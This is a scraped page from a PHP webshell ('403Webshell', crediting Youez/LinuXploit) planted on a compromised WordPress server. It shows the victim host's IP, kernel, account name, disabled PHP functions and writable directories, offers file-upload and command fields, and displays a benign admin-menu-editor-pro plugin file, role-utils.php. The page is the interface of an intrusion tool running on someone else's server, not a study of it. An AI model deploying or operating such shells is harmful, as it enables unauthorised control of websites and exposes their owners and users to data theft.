403Webshell
Server IP : 219.234.31.115  /  Your IP : 216.73.217.134
Web Server : Apache
System : Linux ebs-140924 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64
User : vndaystarftp ( 67432)
PHP Version : 7.3.33
Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wwwroot/vndaystarftp/wwwroot/wp-content/plugins/admin-menu-editor-pro/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wwwroot/vndaystarftp/wwwroot/wp-content/plugins/admin-menu-editor-pro/includes/role-utils.php
<?php

class ameRoleUtils {

	/**

	 * Retrieve a list of all known, non-meta capabilities of all roles.

	 *

	 * @param bool $include_multisite_caps

	 * @return array Associative array with capability names as keys

	 */

	public static function get_all_capabilities($include_multisite_caps = null){

		if ( $include_multisite_caps === null ) {

			$include_multisite_caps = is_multisite();

		}



		//Cache the results.

		static $regular_cache = null, $multisite_cache = null;

		if ( $include_multisite_caps ) {

			if ( isset($multisite_cache) ) {

				return $multisite_cache;

			}

		} else if ( isset($regular_cache) ) {

			return $regular_cache;

		}



		$wp_roles = self::get_roles();

		$capabilities = array();



		//Iterate over all known roles and collect their capabilities

		foreach($wp_roles->roles as $role){

			if ( !empty($role['capabilities']) && is_array($role['capabilities']) ){ //Being defensive here

				$capabilities = array_merge($capabilities, $role['capabilities']);

			}

		}

		$regular_cache = $capabilities;



		//Add multisite-specific capabilities (not listed in any roles in WP 3.0)

		if ($include_multisite_caps) {

			$multisite_caps = array(

				'manage_sites' => 1,

				'manage_network' => 1,

				'manage_network_users' => 1,

				'manage_network_themes' => 1,

				'manage_network_options' => 1,

				'manage_network_plugins' => 1,

			);

			$capabilities = array_merge($capabilities, $multisite_caps);

			$multisite_cache = $capabilities;

		}



		return $capabilities;

	}



	 /**

	  * Retrieve a list of all known roles and their names.

	  *

	  * @return array Associative array with role IDs as keys and role display names as values

	  */

	public static function get_role_names(){

		$wp_roles = self::get_roles();

		$roles = array();



		foreach($wp_roles->roles as $role_id => $role){

			$roles[$role_id] = $role['name'];

		}



		return $roles;

	}



	/**

	 * Get the global WP_Roles instance.

	 *

	 * @global WP_Roles $wp_roles

	 * @return WP_Roles

	 */

	public static function get_roles() {

		global $wp_roles;

		if ( !isset($wp_roles) ) {

			$wp_roles = new WP_Roles();

		}

		return $wp_roles;

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit